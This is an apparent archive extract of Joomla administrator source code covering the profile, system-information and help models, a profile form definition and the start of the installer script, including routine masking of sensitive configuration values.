			$isUsernameCompliant = !(preg_match('#[<>"\'%;()&\\\\]|\\.\\./#', $username) || strlen(utf8_decode($username)) < 2
				|| trim($username) != $username);
		}

		$this->setState('user.username.compliant', $isUsernameCompliant);

		if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
		{
			$form->setFieldAttribute('username', 'required', 'false');
			$form->setFieldAttribute('username', 'readonly', 'true');
			$form->setFieldAttribute('username', 'description', 'COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC');
		}

		// When multilanguage is set, a user's default site language should also be a Content Language
		if (JLanguageMultilang::isEnabled())
		{
			$form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
		}

		// If the user needs to change their password, mark the password fields as required
		if (JFactory::getUser()->requireReset)
		{
			$form->setFieldAttribute('password', 'required', 'true');
			$form->setFieldAttribute('password2', 'required', 'true');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_users.edit.user.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		// Load the users plugins.
		JPluginHelper::importPlugin('user');

		$this->preprocessData('com_admin.profile', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		return parent::getItem(JFactory::getUser()->id);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$user = JFactory::getUser();

		unset($data['id']);
		unset($data['groups']);
		unset($data['sendEmail']);
		unset($data['block']);

		$isUsernameCompliant = $this->getState('user.username.compliant');

		if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant)
		{
			unset($data['username']);
		}

		// Handle the two factor authentication setup
		if (isset($data['twofactor']['method']))
		{
			$twoFactorMethod = $data['twofactor']['method'];

			// Get the current One Time Password (two factor auth) configuration
			$otpConfig = $this->getOtpConfig($user->id);

			if ($twoFactorMethod !== 'none')
			{
				// Run the plugins
				FOFPlatform::getInstance()->importPlugin('twofactorauth');
				$otpConfigReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorApplyConfiguration', array($twoFactorMethod));

				// Look for a valid reply
				foreach ($otpConfigReplies as $reply)
				{
					if (!is_object($reply) || empty($reply->method) || ($reply->method != $twoFactorMethod))
					{
						continue;
					}

					$otpConfig->method = $reply->method;
					$otpConfig->config = $reply->config;

					break;
				}

				// Save OTP configuration.
				$this->setOtpConfig($user->id, $otpConfig);

				// Generate one time emergency passwords if required (depleted or not set)
				if (empty($otpConfig->otep))
				{
					$this->generateOteps($user->id);
				}
			}
			else
			{
				$otpConfig->method = 'none';
				$otpConfig->config = array();
				$this->setOtpConfig($user->id, $otpConfig);
			}

			// Unset the raw data
			unset($data['twofactor']);

			// Reload the user record with the updated OTP configuration
			$user->load($user->id);
		}

		// Bind the data.
		if (!$user->bind($data))
		{
			$this->setError($user->getError());

			return false;
		}

		$user->groups = null;

		// Store the data.
		if (!$user->save())
		{
			$this->setError($user->getError());

			return false;
		}

		$this->setState('user.id', $user->id);

		return true;
	}

	/**
	 * Gets the configuration forms for all two-factor authentication methods
	 * in an array.
	 *
	 * @param   integer  $userId  The user ID to load the forms for (optional)
	 *
	 * @return  array
	 *
	 * @since   __DEPOLOY_VERSION__
	 */
	public function getTwofactorform($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) JFactory::getUser()->id;
		$model  = new UsersModelUser;

		return $model->getTwofactorform($userId);
	}

	/**
	 * Returns the one time password (OTP) – a.k.a. two factor authentication –
	 * configuration for a particular user.
	 *
	 * @param   integer  $userId  The numeric ID of the user
	 *
	 * @return  stdClass  An object holding the OTP configuration for this user
	 *
	 * @since   __DEPOLOY_VERSION__
	 */
	public function getOtpConfig($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) JFactory::getUser()->id;
		$model  = new UsersModelUser;

		return $model->getOtpConfig($userId);
	}

	/**
	 * Sets the one time password (OTP) – a.k.a. two factor authentication –
	 * configuration for a particular user. The $otpConfig object is the same as
	 * the one returned by the getOtpConfig method.
	 *
	 * @param   integer   $userId     The numeric ID of the user
	 * @param   stdClass  $otpConfig  The OTP configuration object
	 *
	 * @return  boolean  True on success
	 *
	 * @since   __DEPOLOY_VERSION__
	 */
	public function setOtpConfig($userId, $otpConfig)
	{
		$userId = (!empty($userId)) ? $userId : (int) JFactory::getUser()->id;
		$model  = new UsersModelUser;

		return $model->setOtpConfig($userId, $otpConfig);
	}

	/**
	 * Generates a new set of One Time Emergency Passwords (OTEPs) for a given user.
	 *
	 * @param   integer  $userId  The user ID
	 * @param   integer  $count   How many OTEPs to generate? Default: 10
	 *
	 * @return  array  The generated OTEPs
	 *
	 * @since   __DEPOLOY_VERSION__
	 */
	public function generateOteps($userId, $count = 10)
	{
		$userId = (!empty($userId)) ? $userId : (int) JFactory::getUser()->id;
		$model  = new UsersModelUser;

		return $model->generateOteps($userId, $count);
	}
}
com_admin/models/sysinfo.php000060400000042047152455305270012173 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Model for the display of system information.
 *
 * @since  1.6
 */
class AdminModelSysInfo extends JModelLegacy
{
	/**
	 * Some PHP settings
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $php_settings = array();

	/**
	 * Config values
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $config = array();

	/**
	 * Some system values
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $info = array();

	/**
	 * PHP info
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $php_info = null;

	/**
	 * Array containing the phpinfo() data.
	 *
	 * @var    array
	 *
	 * @since  3.5
	 */
	protected $phpInfoArray;

	/**
	 * Private/critical data that we don't want to share
	 *
	 * @var    array
	 *
	 * @since  3.5
	 */
	protected $privateSettings = array(
		'phpInfoArray' => array(
			'CONTEXT_DOCUMENT_ROOT',
			'Cookie',
			'DOCUMENT_ROOT',
			'extension_dir',
			'error_log',
			'Host',
			'HTTP_COOKIE',
			'HTTP_HOST',
			'HTTP_ORIGIN',
			'HTTP_REFERER',
			'HTTP Request',
			'include_path',
			'mysql.default_socket',
			'MYSQL_SOCKET',
			'MYSQL_INCLUDE',
			'MYSQL_LIBS',
			'mysqli.default_socket',
			'MYSQLI_SOCKET',
			'PATH',
			'Path to sendmail',
			'pdo_mysql.default_socket',
			'Referer',
			'REMOTE_ADDR',
			'SCRIPT_FILENAME',
			'sendmail_path',
			'SERVER_ADDR',
			'SERVER_ADMIN',
			'Server Administrator',
			'SERVER_NAME',
			'Server Root',
			'session.name',
			'session.save_path',
			'upload_tmp_dir',
			'User/Group',
			'open_basedir',
		),
		'other' => array(
			'db',
			'dbprefix',
			'fromname',
			'live_site',
			'log_path',
			'mailfrom',
			'memcache_server_host',
			'memcached_server_host',
			'open_basedir',
			'Origin',
			'proxy_host',
			'proxy_user',
			'proxy_pass',
			'redis_server_host',
			'redis_server_auth',
			'secret',
			'sendmail',
			'session.save_path',
			'session_memcache_server_host',
			'session_memcached_server_host',
			'session_redis_server_host',
			'session_redis_server_auth',
			'sitename',
			'smtphost',
			'tmp_path',
			'open_basedir',
		)
	);

	/**
	 * System values that can be "safely" shared
	 *
	 * @var    array
	 *
	 * @since  3.5
	 */
	protected $safeData;

	/**
	 * Information about writable state of directories
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $directories = array();

	/**
	 * The current editor.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $editor = null;

	/**
	 * Remove sections of data marked as private in the privateSettings
	 *
	 * @param   array   $dataArray  Array with data that may contain private information
	 * @param   string  $dataType   Type of data to search for a specific section in the privateSettings array
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function cleanPrivateData($dataArray, $dataType = 'other')
	{
		$dataType = isset($this->privateSettings[$dataType]) ? $dataType : 'other';

		$privateSettings = $this->privateSettings[$dataType];

		if (!$privateSettings)
		{
			return $dataArray;
		}

		foreach ($dataArray as $section => $values)
		{
			if (is_array($values))
			{
				$dataArray[$section] = $this->cleanPrivateData($values, $dataType);
			}

			if (in_array($section, $privateSettings, true))
			{
				$dataArray[$section] = $this->cleanSectionPrivateData($values);
			}
		}

		return $dataArray;
	}

	/**
	 * Obfuscate section values
	 *
	 * @param   mixed  $sectionValues  Section data
	 *
	 * @return  mixed
	 *
	 * @since   3.5
	 */
	protected function cleanSectionPrivateData($sectionValues)
	{
		if (!is_array($sectionValues))
		{
			if (strstr($sectionValues, JPATH_ROOT))
			{
				$sectionValues = 'xxxxxx';
			}

			return strlen($sectionValues) ? 'xxxxxx' : '';
		}

		foreach ($sectionValues as $setting => $value)
		{
			$sectionValues[$setting] = strlen($value) ? 'xxxxxx' : '';
		}

		return $sectionValues;
	}

	/**
	 * Method to get the PHP settings
	 *
	 * @return  array  Some PHP settings
	 *
	 * @since   1.6
	 */
	public function &getPhpSettings()
	{
		if (!empty($this->php_settings))
		{
			return $this->php_settings;
		}

		$this->php_settings = array(
			'safe_mode'          => ini_get('safe_mode') == '1',
			'display_errors'     => ini_get('display_errors') == '1',
			'short_open_tag'     => ini_get('short_open_tag') == '1',
			'file_uploads'       => ini_get('file_uploads') == '1',
			'magic_quotes_gpc'   => ini_get('magic_quotes_gpc') == '1',
			'register_globals'   => ini_get('register_globals') == '1',
			'output_buffering'   => (int) ini_get('output_buffering') !== 0,
			'open_basedir'       => ini_get('open_basedir'),
			'session.save_path'  => ini_get('session.save_path'),
			'session.auto_start' => ini_get('session.auto_start'),
			'disable_functions'  => ini_get('disable_functions'),
			'xml'                => extension_loaded('xml'),
			'zlib'               => extension_loaded('zlib'),
			'zip'                => function_exists('zip_open') && function_exists('zip_read'),
			'mbstring'           => extension_loaded('mbstring'),
			'iconv'              => function_exists('iconv'),
			'max_input_vars'     => ini_get('max_input_vars'),
		);

		return $this->php_settings;
	}

	/**
	 * Method to get the config
	 *
	 * @return  array  config values
	 *
	 * @since   1.6
	 */
	public function &getConfig()
	{
		if (!empty($this->config))
		{
			return $this->config;
		}

		$registry = new Registry(new JConfig);
		$this->config = $registry->toArray();
		$hidden = array(
			'host', 'user', 'password', 'ftp_user', 'ftp_pass',
			'smtpuser', 'smtppass', 'redis_server_auth', 'session_redis_server_auth',
			'proxy_user', 'proxy_pass', 'secret'
		);

		foreach ($hidden as $key)
		{
			$this->config[$key] = 'xxxxxx';
		}

		return $this->config;
	}

	/**
	 * Method to get the system information
	 *
	 * @return  array  System information values
	 *
	 * @since   1.6
	 */
	public function &getInfo()
	{
		if (!empty($this->info))
		{
			return $this->info;
		}

		$version  = new JVersion;
		$platform = new JPlatform;
		$db       = $this->getDbo();

		$this->info = array(
			'php'                   => php_uname(),
			'dbserver'              => $db->getServerType(),
			'dbversion'             => $db->getVersion(),
			'dbcollation'           => $db->getCollation(),
			'dbconnectioncollation' => $db->getConnectionCollation(),
			'phpversion'            => phpversion(),
			'server'                => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : getenv('SERVER_SOFTWARE'),
			'sapi_name'             => php_sapi_name(),
			'version'               => $version->getLongVersion(),
			'platform'              => $platform->getLongVersion(),
			'useragent'             => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '',
		);

		return $this->info;
	}

	/**
	 * Check if the phpinfo function is enabled
	 *
	 * @return  boolean True if enabled
	 *
	 * @since   3.4.1
	 */
	public function phpinfoEnabled()
	{
		return !in_array('phpinfo', explode(',', ini_get('disable_functions')));
	}

	/**
	 * Method to get filter data from the model
	 *
	 * @param   string  $dataType  Type of data to get safely
	 * @param   bool    $public    If true no sensitive information will be removed
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function getSafeData($dataType, $public = true)
	{
		if (isset($this->safeData[$dataType]))
		{
			return $this->safeData[$dataType];
		}

		$methodName = 'get' . ucfirst($dataType);

		if (!method_exists($this, $methodName))
		{
			return array();
		}

		$data = $this->$methodName($public);

		$this->safeData[$dataType] = $this->cleanPrivateData($data, $dataType);

		return $this->safeData[$dataType];
	}

	/**
	 * Method to get the PHP info
	 *
	 * @return  string  PHP info
	 *
	 * @since   1.6
	 */
	public function &getPHPInfo()
	{
		if (!$this->phpinfoEnabled())
		{
			$this->php_info = JText::_('COM_ADMIN_PHPINFO_DISABLED');

			return $this->php_info;
		}

		if (!is_null($this->php_info))
		{
			return $this->php_info;
		}

		ob_start();
		date_default_timezone_set('UTC');
		phpinfo(INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES);
		$phpInfo = ob_get_contents();
		ob_end_clean();
		preg_match_all('#<body[^>]*>(.*)</body>#siU', $phpInfo, $output);
		$output = preg_replace('#<table[^>]*>#', '<table class="table table-striped adminlist">', $output[1][0]);
		$output = preg_replace('#(\w),(\w)#', '\1, \2', $output);
		$output = preg_replace('#<hr />#', '', $output);
		$output = str_replace('<div class="center">', '', $output);
		$output = preg_replace('#<tr class="h">(.*)<\/tr>#', '<thead><tr class="h">$1</tr></thead><tbody>', $output);
		$output = str_replace('</table>', '</tbody></table>', $output);
		$output = str_replace('</div>', '', $output);
		$this->php_info = $output;

		return $this->php_info;
	}

	/**
	 * Get phpinfo() output as array
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function getPhpInfoArray()
	{
		// Already cached
		if (null !== $this->phpInfoArray)
		{
			return $this->phpInfoArray;
		}

		$phpInfo = $this->getPhpInfo();

		$this->phpInfoArray = $this->parsePhpInfo($phpInfo);

		return $this->phpInfoArray;
	}

	/**
	 * Method to get a list of installed extensions
	 *
	 * @return array installed extensions
	 *
	 * @since  3.5
	 */
	public function getExtensions()
	{
		$installed = array();
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->qn('#__extensions'));
		$db->setQuery($query);

		try
		{
			$extensions = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			try
			{
				JLog::add(JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()), JLog::WARNING, 'jerror');
			}
			catch (RuntimeException $exception)
			{
				JFactory::getApplication()->enqueueMessage(
					JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $e->getCode(), $e->getMessage()),
					'warning'
				);
			}

			return $installed;
		}

		if (empty($extensions))
		{
			return $installed;
		}

		foreach ($extensions as $extension)
		{
			if (strlen($extension->name) == 0)
			{
				continue;
			}

			$installed[$extension->name] = array(
				'name'         => $extension->name,
				'type'         => $extension->type,
				'state'        => $extension->enabled ? JText::_('JENABLED') : JText::_('JDISABLED'),
				'author'       => 'unknown',
				'version'      => 'unknown',
				'creationDate' => 'unknown',
				'authorUrl'    => 'unknown',
			);

			$manifest = new Registry($extension->manifest_cache);

			$extraData = array(
				'author'       => $manifest->get('author', ''),
				'version'      => $manifest->get('version', ''),
				'creationDate' => $manifest->get('creationDate', ''),
				'authorUrl'    => $manifest->get('authorUrl', '')
			);

			$installed[$extension->name] = array_merge($installed[$extension->name], $extraData);
		}

		return $installed;
	}

	/**
	 * Method to get the directory states
	 *
	 * @param   bool  $public  If true no information is going to be removed
	 *
	 * @return  array States of directories
	 *
	 * @since   1.6
	 */
	public function getDirectory($public = false)
	{
		if (!empty($this->directories))
		{
			return $this->directories;
		}

		$this->directories = array();

		$registry = JFactory::getConfig();
		$cparams  = JComponentHelper::getParams('com_media');

		$this->addDirectory('administrator/components', JPATH_ADMINISTRATOR . '/components');
		$this->addDirectory('administrator/components/com_joomlaupdate', JPATH_ADMINISTRATOR . '/components/com_joomlaupdate');
		$this->addDirectory('administrator/language', JPATH_ADMINISTRATOR . '/language');

		// List all admin languages
		$admin_langs = new DirectoryIterator(JPATH_ADMINISTRATOR . '/language');

		foreach ($admin_langs as $folder)
		{
			if ($folder->isDot() || !$folder->isDir())
			{
				continue;
			}

			$this->addDirectory(
				'administrator/language/' . $folder->getFilename(),
				JPATH_ADMINISTRATOR . '/language/' . $folder->getFilename()
			);
		}

		// List all manifests folders
		$manifests = new DirectoryIterator(JPATH_ADMINISTRATOR . '/manifests');

		foreach ($manifests as $folder)
		{
			if ($folder->isDot() || !$folder->isDir())
			{
				continue;
			}

			$this->addDirectory(
				'administrator/manifests/' . $folder->getFilename(),
				JPATH_ADMINISTRATOR . '/manifests/' . $folder->getFilename()
			);
		}

		$this->addDirectory('administrator/modules', JPATH_ADMINISTRATOR . '/modules');
		$this->addDirectory('administrator/templates', JPATH_THEMES);

		$this->addDirectory('components', JPATH_SITE . '/components');

		$this->addDirectory($cparams->get('image_path'), JPATH_SITE . '/' . $cparams->get('image_path'));

		// List all images folders
		$image_folders = new DirectoryIterator(JPATH_SITE . '/' . $cparams->get('image_path'));

		foreach ($image_folders as $folder)
		{
			if ($folder->isDot() || !$folder->isDir())
			{
				continue;
			}

			$this->addDirectory(
				'images/' . $folder->getFilename(),
				JPATH_SITE . '/' . $cparams->get('image_path') . '/' . $folder->getFilename()
			);
		}

		$this->addDirectory('language', JPATH_SITE . '/language');

		// List all site languages
		$site_langs = new DirectoryIterator(JPATH_SITE . '/language');

		foreach ($site_langs as $folder)
		{
			if ($folder->isDot() || !$folder->isDir())
			{
				continue;
			}

			$this->addDirectory('language/' . $folder->getFilename(), JPATH_SITE . '/language/' . $folder->getFilename());
		}

		$this->addDirectory('libraries', JPATH_LIBRARIES);

		$this->addDirectory('media', JPATH_SITE . '/media');
		$this->addDirectory('modules', JPATH_SITE . '/modules');
		$this->addDirectory('plugins', JPATH_PLUGINS);

		$plugin_groups = new DirectoryIterator(JPATH_SITE . '/plugins');

		foreach ($plugin_groups as $folder)
		{
			if ($folder->isDot() || !$folder->isDir())
			{
				continue;
			}

			$this->addDirectory('plugins/' . $folder->getFilename(), JPATH_PLUGINS . '/' . $folder->getFilename());
		}

		$this->addDirectory('templates', JPATH_SITE . '/templates');
		$this->addDirectory('configuration.php', JPATH_CONFIGURATION . '/configuration.php');

		// Is there a cache path in configuration.php?
		if ($cache_path = trim($registry->get('cache_path', '')))
		{
			// Frontend and backend use same directory for caching.
			$this->addDirectory($cache_path, $cache_path, 'COM_ADMIN_CACHE_DIRECTORY');
		}
		else
		{
			$this->addDirectory('cache', JPATH_SITE . '/cache', 'COM_ADMIN_CACHE_DIRECTORY');
			$this->addDirectory('administrator/cache', JPATH_CACHE, 'COM_ADMIN_CACHE_DIRECTORY');
		}

		if ($public)
		{
			$this->addDirectory(
				'log',
				$registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'),
				'COM_ADMIN_LOG_DIRECTORY'
			);
			$this->addDirectory(
				'tmp',
				$registry->get('tmp_path', JPATH_ROOT . '/tmp'),
				'COM_ADMIN_TEMP_DIRECTORY'
			);
		}
		else
		{
			$this->addDirectory(
				$registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'),
				$registry->get('log_path', JPATH_ADMINISTRATOR . '/logs'),
				'COM_ADMIN_LOG_DIRECTORY'
			);
			$this->addDirectory(
				$registry->get('tmp_path', JPATH_ROOT . '/tmp'),
				$registry->get('tmp_path', JPATH_ROOT . '/tmp'),
				'COM_ADMIN_TEMP_DIRECTORY'
			);
		}

		return $this->directories;
	}

	/**
	 * Method to add a directory
	 *
	 * @param   string  $name     Directory Name
	 * @param   string  $path     Directory path
	 * @param   string  $message  Message
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function addDirectory($name, $path, $message = '')
	{
		$this->directories[$name] = array('writable' => is_writable($path), 'message' => $message,);
	}

	/**
	 * Method to get the editor
	 *
	 * @return  string  The default editor
	 *
	 * @note    Has to be removed (it is present in the config...)
	 * @since   1.6
	 */
	public function &getEditor()
	{
		if (!is_null($this->editor))
		{
			return $this->editor;
		}

		$this->editor = JFactory::getConfig()->get('editor');

		return $this->editor;
	}

	/**
	 * Parse phpinfo output into an array
	 * Source https://gist.github.com/sbmzhcn/6255314
	 *
	 * @param   string  $html  Output of phpinfo()
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function parsePhpInfo($html)
	{
		$html = strip_tags($html, '<h2><th><td>');
		$html = preg_replace('/<th[^>]*>([^<]+)<\/th>/', '<info>\1</info>', $html);
		$html = preg_replace('/<td[^>]*>([^<]+)<\/td>/', '<info>\1</info>', $html);
		$t = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/', $html, -1, PREG_SPLIT_DELIM_CAPTURE);
		$r = array();
		$count = count($t);
		$p1 = '<info>([^<]+)<\/info>';
		$p2 = '/' . $p1 . '\s*' . $p1 . '\s*' . $p1 . '/';
		$p3 = '/' . $p1 . '\s*' . $p1 . '/';

		for ($i = 1; $i < $count; $i++)
		{
			if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/', $t[$i], $matchs))
			{
				$name = trim($matchs[1]);
				$vals = explode("\n", $t[$i + 1]);

				foreach ($vals AS $val)
				{
					// 3cols
					if (preg_match($p2, $val, $matchs))
					{
						$r[$name][trim($matchs[1])] = array(trim($matchs[2]), trim($matchs[3]),);
					}
					// 2cols
					elseif (preg_match($p3, $val, $matchs))
					{
						$r[$name][trim($matchs[1])] = trim($matchs[2]);
					}
				}
			}
		}

		return $r;
	}
}
com_admin/models/help.php000060400000007656152455305270011440 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Admin Component Help Model
 *
 * @since  1.6
 */
class AdminModelHelp extends JModelLegacy
{
	/**
	 * The search string
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $help_search = null;

	/**
	 * The page to be viewed
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $page = null;

	/**
	 * The ISO language tag
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $lang_tag = null;

	/**
	 * Table of contents
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $toc = null;

	/**
	 * URL for the latest version check
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $latest_version_check = null;

	/**
	 * Method to get the help search string
	 *
	 * @return  string  Help search string
	 *
	 * @since   1.6
	 */
	public function &getHelpSearch()
	{
		if (is_null($this->help_search))
		{
			$this->help_search = JFactory::getApplication()->input->getString('helpsearch');
		}

		return $this->help_search;
	}

	/**
	 * Method to get the page
	 *
	 * @return  string  The page
	 *
	 * @since   1.6
	 */
	public function &getPage()
	{
		if (is_null($this->page))
		{
			$this->page = JHelp::createUrl(JFactory::getApplication()->input->get('page', 'JHELP_START_HERE'));
		}

		return $this->page;
	}

	/**
	 * Method to get the lang tag
	 *
	 * @return  string  lang iso tag
	 *
	 * @since  1.6
	 */
	public function getLangTag()
	{
		if (is_null($this->lang_tag))
		{
			$this->lang_tag = JFactory::getLanguage()->getTag();

			if (!is_dir(JPATH_BASE . '/help/' . $this->lang_tag))
			{
				// Use English as fallback
				$this->lang_tag = 'en-GB';
			}
		}

		return $this->lang_tag;
	}

	/**
	 * Method to get the table of contents
	 *
	 * @return  array  Table of contents
	 */
	public function &getToc()
	{
		if (!is_null($this->toc))
		{
			return $this->toc;
		}

		// Get vars
		$lang_tag    = $this->getLangTag();
		$help_search = $this->getHelpSearch();

		// New style - Check for a TOC JSON file
		if (file_exists(JPATH_BASE . '/help/' . $lang_tag . '/toc.json'))
		{
			$data = json_decode(file_get_contents(JPATH_BASE . '/help/' . $lang_tag . '/toc.json'));

			// Loop through the data array
			foreach ($data as $key => $value)
			{
				$this->toc[$key] = JText::_('COM_ADMIN_HELP_' . $value);
			}

			// Sort the Table of Contents
			asort($this->toc);

			return $this->toc;
		}

		// Get Help files
		jimport('joomla.filesystem.folder');
		$files = JFolder::files(JPATH_BASE . '/help/' . $lang_tag, '\.xml$|\.html$');
		$this->toc = array();

		foreach ($files as $file)
		{
			$buffer = file_get_contents(JPATH_BASE . '/help/' . $lang_tag . '/' . $file);

			if (!preg_match('#<title>(.*?)</title>#', $buffer, $m))
			{
				continue;
			}

			$title = trim($m[1]);

			if (!$title)
			{
				continue;
			}

			// Translate the page title
			$title = JText::_($title);

			// Strip the extension
			$file = preg_replace('#\.xml$|\.html$#', '', $file);

			if ($help_search && StringHelper::strpos(StringHelper::strtolower(strip_tags($buffer)), StringHelper::strtolower($help_search)) === false)
			{
				continue;
			}

			// Add an item in the Table of Contents
			$this->toc[$file] = $title;
		}

		// Sort the Table of Contents
		asort($this->toc);

		return $this->toc;
	}

	/**
	 * Method to get the latest version check
	 *
	 * @return  string  Latest Version Check URL
	 */
	public function &getLatestVersionCheck()
	{
		if (!$this->latest_version_check)
		{
			$override = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:'
				. 'Joomla_Version_{major}_{minor}_{maintenance}/{langcode}&amp;lang={langcode}';
			$this->latest_version_check = JHelp::createUrl('JVERSION', false, $override);
		}

		return $this->latest_version_check;
	}
}
com_admin/models/forms/profile.xml000060400000006756152455305270013307 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="user_details">
		<field
			name="name"
			type="text"
			label="COM_ADMIN_USER_HEADING_NAME"
			description="COM_ADMIN_USER_FIELD_NAME_DESC"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_ADMIN_USER_FIELD_USERNAME_LABEL"
			description="COM_ADMIN_USER_FIELD_USERNAME_DESC"
			required="true"
			size="30"
		/>

		<field
			name="password2"
			type="password"
			label="JGLOBAL_PASSWORD"
			description="COM_ADMIN_USER_FIELD_PASSWORD_DESC"
			autocomplete="off"
			class="validate-password"
			field="password"
			filter="raw"
			message="COM_ADMIN_USER_FIELD_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
		/>

		<field
			name="password"
			type="password"
			label="COM_ADMIN_USER_FIELD_PASSWORD2_LABEL"
			description="COM_ADMIN_USER_FIELD_PASSWORD2_DESC"
			autocomplete="off"
			class="validate-password"
			filter="raw"
			size="30"
			validate="password"
		/>

		<field
			name="email"
			type="email"
			label="JGLOBAL_EMAIL"
			description="COM_ADMIN_USER_FIELD_EMAIL_DESC"
			class="validate-email"
			required="true"
			size="30"
			validate="email"
			validDomains="com_users.domains"
		/>

		<field
			name="registerDate"
			type="calendar"
			label="COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL"
			description="COM_ADMIN_USER_FIELD_REGISTERDATE_DESC"
			class="readonly"
			readonly="true"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="lastvisitDate"
			type="calendar"
			label="COM_ADMIN_USER_FIELD_LASTVISIT_LABEL"
			description="COM_ADMIN_USER_FIELD_LASTVISIT_DESC"
			class="readonly"
			readonly="true"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			readonly="true"
			filter="unset"
		/>

		<!-- Used to get the two factor authentication configuration -->
		<field
			name="twofactor"
			type="hidden"
		/>
	</fieldset>

	<fields name="params">

		<!--  Basic user account settings. -->
		<fieldset name="settings" label="COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL">

			<field
				name="admin_style"
				type="templatestyle"
				label="COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL"
				description="COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC"
				client="administrator"
				filter="uint"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="admin_language"
				type="language"
				label="COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL"
				description="COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC"
				client="administrator"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="language"
				type="language"
				label="COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				description="COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC"
				client="site"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="editor"
				type="plugins"
				label="COM_ADMIN_USER_FIELD_EDITOR_LABEL"
				description="COM_ADMIN_USER_FIELD_EDITOR_DESC"
				folder="editors"
				useaccess="true"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="timezone"
				type="timezone"
				label="COM_ADMIN_USER_FIELD_TIMEZONE_LABEL"
				description="COM_ADMIN_USER_FIELD_TIMEZONE_DESC"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>
		</fieldset>
	</fields>
</form>
com_admin/script.php000060400000361220152455305270010517 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Script file of Joomla CMS
 *
 * @since  1.6.4
 */
class JoomlaInstallerScript
{
	/**
	 * The Joomla Version we are updating from
	 *
	 * @var    string
	 * @since  3.7
	 */
	protected $fromVersion = null;

	/**
	 * Function to act prior to installation process begins
	 *
	 * @param   string      $action     Which action is happening (install|uninstall|discover_install|update)
